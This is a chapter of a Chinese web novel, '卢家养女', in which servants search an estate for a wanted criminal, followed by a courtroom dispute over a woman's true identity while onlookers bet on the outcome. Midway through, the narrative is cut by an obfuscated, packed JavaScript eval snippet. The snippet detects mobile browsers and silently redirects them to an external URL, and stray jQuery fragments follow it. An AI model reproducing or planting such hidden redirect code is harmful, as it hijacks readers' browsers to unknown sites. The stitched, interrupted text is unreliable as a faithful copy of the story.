109. 赌桌
作品:《卢家养女》 衙门的人前脚一走,马车里坐着的女子便对上首的柯大夫人一揖,下了马车,轻轻一跃,便跳进了思园。
而回府衙路上的周冶,只一个眼色,侍剑便悄悄脱离了队伍,绕回了思园侧门。
他轻轻一跃而入,便见雨歇已经抱手等在那里,微微吓了一跳。
见他进来,雨歇瞥了他一眼,淡淡地道:“你东我西。”
说完,便转身去了。侍剑一个字没说得出来,只好转头往反方向去。
此刻的思园安静得不像话,一个人都没有。
上上下下的仆从,此刻都被叫到了正堂,齐整整站在院中,垂手听训。
梁夫人前脚刚出府,刘嬷嬷一行人便折回了正堂,吩咐管家将所有人召来。
少夫人不在,刘嬷嬷最大,管家自然不敢顶撞。他想着,大概是借少夫人不在,再背后替柯大夫人训训人,好教底下人知道谁才是主子。
大户人家的婆媳之争,他见得多了,别说老夫人的跟前人,趁少夫人不在的时候训人,便是当着少夫人立规矩、整顿园子,少夫人也未见得能如何。只是,这柯大夫人向来有极其疼爱侄女的名声,这家长从来都一派婆媳和睦的样子,原来也少不了这一遭。
于是,管家心里虽冷笑上了,却也并未言语,依言将人全唤了来。不过,为防事后被少夫人训斥,暗自嘱咐了个伶俐的小厮,立刻赶去衙门,想法在第一时间通知少夫人,也就碍不着他什么事了。
院子里密密麻麻站满了人,刘嬷嬷站在正堂门口,看着管家问:“所有人都在了?”
管家道:“除了原就出门采买、办事的,其他所有在府的人,全都在这儿了。”
“没有乘机偷偷往外跑的吧?”刘嬷嬷看着他,语气温和却老辣地道。
管家被问了个正着,心道,这老嬷嬷陪着柯大夫人管家多年,几十年还真不是白混的。他额上冒汗,却还是一脸镇静地笑道:“那哪儿能呢?嬷嬷说笑了。”
话音未落,方才被他派出去的小厮就被刘嬷嬷带来的人给揪着过来了。
管家被打了个正脸,僵笑着看向了刘嬷嬷,心道,等应付了这头,再找由头派人出去给少夫人送信了。
刘嬷嬷看着那小厮道:“方才叫你去召人过来之前,我便先让人封锁了府门,不放一人进出。想必,这个人是擅自出府,管家并不知情了?”
“嬷嬷明鉴!”管家的汗都要下来了,看着底下人,也做出一副厉色道,“这园子还真的要整顿整顿,这些人浑水摸鱼,指不定偷偷干什么勾当呢。”
“既如此,拉下去,打二十大板,关起来。这算是轻罚,”刘嬷嬷说着,扫了管家一眼,“若有再犯,这次的一并算!”
管家明白,这一眼是告诉他,别再玩什么花招;给他一次面子,免得他当众被处置,失了威信,不好管束下人;却也只给他一次面子,再发现猫腻,便要一起算了。
管家一直在思园当差,柯大夫人一年也来不了两回,这还是头一回见识这大夫人主仆的手段,不由后悔自己想着柯大夫人向来宽厚仁善,大意了。
刘嬷嬷是大夫人跟前的老人,便是陈万霆和少夫人也要以长辈之礼待之,别说他只是这别院的管家,便是陈府总管也不能直接驳她。丞相也不能得罪皇帝身边的太监,便是这个理。
这下,他打起了应有的精神,讨好地道:“人都在这儿了,不知嬷嬷有何吩咐?”
“名册。”刘嬷嬷道。
管家忙送上名册,看刘嬷嬷将名册交给身边识字的丫头,挨个点起名来,心道,就算跑出去了,也得被抓,这嬷嬷还真是老道,于是,什么小心思也不敢有了。
点完名,刘嬷嬷带来的人,挑了些熟悉的老人,带队分院子查抄去了。
剩在院中的人不敢说话,眼神却嘀咕起来,也不知这刘嬷嬷到底要查抄什么。
很快便有些不该有的东西被查抄了出来,犯事的人立刻被拖出,就在众目睽睽之下受刑。一时,所有人都噤若寒蝉,不再多说多看,生怕招来注意。
见底下人都不敢多有心思了,刘嬷嬷从袖中拿出一张纸,递给身边丫头,打开了,从众人前走过。
“谁在园中见过此人?”
底下人抬头一看,竟是一张通缉令。当即有人认了出来,“这不是那……孙九爷。”
有人大着胆子道,“他不是被通缉了好些日子了?我们怎会在园中见到他?”
***
前一夜,柯大夫人妆台上莫名出现了一封匿名信,说思园藏了官府通缉要犯。这些年并不怎么管事,尤其不管思园的大夫人,反常地当即决定要亲自来绥陵处置。
刘嬷嬷不解,柯大夫人道:“信中所言,干系重大,稍有不慎,可累及我儿官声和陈府兴衰。信中所言,宁可信其有,不可信其无。若真有,咱们自己动手擒了,主动送去官服,无过有功。若没有这事,清查一下思园上下,也没损失。”
“这事,您不打算交给少夫人?”刘嬷嬷最知道柯大夫人心思。
柯大夫人点头:“事情出在思园,写信之人找我,却不找她,那便必有缘由。再说了,人既藏在思园,只怕与她脱不了干系。咱们还是先找到人再说。”
“夫人不怕有人阴谋、捉弄?”
柯大夫人拿起方才压信的那只耳坠,轻轻抚着道:“这是我妹妹令虞之物。故而,写信之人必是故人,我觉得,对方应无恶意。”
丫头拿着画像在人丛中走着,刘嬷嬷在台阶上道:“没错!知道是通缉要犯,你们也该知道,兹事体大。今日的事,若有人敢向外透漏半分,直接打死!”
底下人齐道“不敢、不敢”。
“此人可能就藏匿府中,今日便要将他找出来。大人担心少夫人年轻不经事,特让我来走这一遭,顺便,也替他整顿整顿府中事务。”
刘嬷嬷目光扫视着底下人,问道,“你们这些日子可在园里见过此人?或有什么人藏匿的迹象?若有消息,必有重赏。若有隐瞒,查出便打死!”
众人连连应是。
刘嬷嬷的目光扫过众人,最后落在了梁夫人院里人身上,见几个人面上有异,但却不敢说话。
“人都拘在这儿也无用,”便是有人想告密,也不敢当众说。刘嬷嬷一挥手道,“你们都下去想一想,找一找,想起什么,找到什么,再来回我便是。”
刘嬷嬷转身回了正堂,身边丫头发话,“都散了吧!”
底下人应声去了,不由都低声嘀咕起来,疾步想四处去寻寻,生怕漏了什么,事后连累到自己头上。
乘着正堂上整顿的功夫,雨歇和侍剑将思园搜了。
这日,路人见思园的后门吱呀一声洞开,几个精壮的护院便押着个嬷嬷装扮的人走了出来。
此人穿着仆妇的衣服,梳着妇人的发髻,甚至还化着女妆,好不别扭。谁也想不到,那竟是绥陵城的一大恶人,孙九爷。
侍剑一抬下巴,官差便上前接手押过了孙九爷。
他冲刘嬷嬷拱手谢道:“还请嬷嬷转告大夫人,我家大人谢谢大夫人高义!也请大夫人放心,此事绝不会与陈府扯上半点干系!”
刘嬷嬷笑着冲他致谢道:“如此甚好,这也是我们分内之事,该谢过你家大人宽仁。”
雨歇带着刘嬷嬷给的信物,赶回到衙门内院,交给了柯大夫人。
柯大夫人看着信物,知道孙九爷果被查抄了出来,有种被证实之后的失望,半晌,才抬头对她道:“既已证实,就带我去见你家主人吧。”
“待夫人再看一些事,再见我家主人不迟。”
柯大夫人想了想,也不急于这一时半刻,点头应了。
雨歇带着她,一路从内院穿到了前院,请进一个房间之前,提醒道:“进去之后,还请夫人无论看见听见什么,都不要作声。”
柯大夫人点点头,随她走了进去,旋即转头惊讶地看她。
这是……公堂的后堂!
雨歇冲她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999206|193939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点了点头,伸手请她坐下。
***
“大人,如今这公堂之上,靠着上嘴皮一碰下嘴皮,就能告人,就能翻案了?”
梁夫人冷冷扫了梁云钦一眼,满是轻蔑之态,“说我绑架,虐待,证人证据何在?我既绑架了你,你怎么在这儿?既然虐待了你,你为何不见一点伤痕?”
“说我是什么霍家小姐,更是可笑!我是认识她,我们当年情同姐妹,可她早就……在我梁家大火之夜便不在了。而我,因被送去姨母陈家,才侥幸躲过一劫,苟活下来,并由陈家姨母养大。陈府之人皆可为证。”
“别的事需要证据,”周冶看着她道,“可认人这事,可不就得人来认?现有刘宝、许莲生和梁云钦三人,均指认夫人你,实为霍家小姐霍茹蕙。自然,夫人说的也有理,你也可请陈府之人上堂,与之对质。”
“何必那么麻烦?”梁夫人笑道,“大家都言之凿凿,可都是口说无凭。比证人数,还是比关系近呢?”
“敢问大人,到底是亲姨母、亲表哥的关系近,还是许莲生、刘宝、梁云钦的关系近?”
“敢问大人,到底是我陈太守夫人的话可信,还是梁云钦这样一个恶事做尽的奸商可信,还是刘宝这样一个纵火嫌犯,抑或是许莲生这样一个背主求荣之人?”
梁夫人无奈地叹了口气,“我不知这三人是得了谁的指使,可这指证,实在是无稽之谈。”
周冶扫了扫众人,人心的天平,显然朝她倾斜了去。
“他们非要众口铄金,我也可找几个证人。”梁夫人叹道,“还请大人,传曾府邵夫人到场。曾家当年与霍、梁两家都熟识,她是亲历当年霍家之案的人,还是霍茹蕙的未来婆婆,她当分得清两家女儿。”
“不可!”一旁的梁云钦忍不住,怒道,“你们本来就是一伙的!”
梁夫人讥笑道:“你们几个就不是一伙的?”
“传邵夫人!”
周冶一发令,门外的赌桌前,摊主便吆喝了起来,“这刘宝、许莲生和梁云钦,如今对上梁、邵两位官家夫人,谁可信呢?有没有要押的?”
“买定离手,买定离手啊!”
等邵夫人来了,身后还陪着一人,曾家二公子曾铭。
二人还没走进大门,就有人惊呼了起来,“哟呵,这曾家母子都上场了,三对三了,梁夫人又多了个筹码。”
有人反驳道,“他们二人只能算一份证词,本就是一家人,说不了两家话!”
主持赌局的人,看了对面茶楼的二楼一眼,吆喝道:“一边是刘宝、许莲生和梁云钦,一边是梁夫人、邵夫人和曾二公子。这双方各执一词,到底谁说的才是真的?”
有人在摊前琢磨道,“一个霍茹蕙未来婆婆,一个霍茹蕙未来相公,一个太守夫人……”
“可还有陈府的表哥、姨母没上场呢。我押梁夫人!”
“好!押梁夫人五两!”摊主将银子收下。
一开始就买刘宝和许莲生的,不免开始捏上了一把汗。
堂上,梁云钦见曾铭陪着邵夫人来了,颇有些意外。
他知道曾铭素日是个有主意的,对曾邵夫妇二人所行之事多不认同,坊间更是早就传出了曾家接连出事后,母子失和之言。
既然来了,便别怪他拉下水。他忙对堂上一揖,大声道:“请大人唤曾二公子作证!他是霍家小姐霍茹蕙的未婚夫,青梅竹马,一起长大,与此案也脱不了干系。”
说着,偷偷看向了梁夫人,见她果然急了。
“不可!”梁夫人斥道,“大人是读过圣贤书的人,应知为亲者讳,以免伤教破义,长不孝之风。”
周冶的目光看向了柯大夫人旁边那一侧,见曾家母子来了,孟珂必定是靠近听的。他斟酌着道:“律法,不得以尊长之罪拷问子孙,不可强迫亲属作证。不过,也从来有人大义灭亲,本官也没有阻拦之理。”
说着,看向了曾铭,“曾二公子,你如何说?”

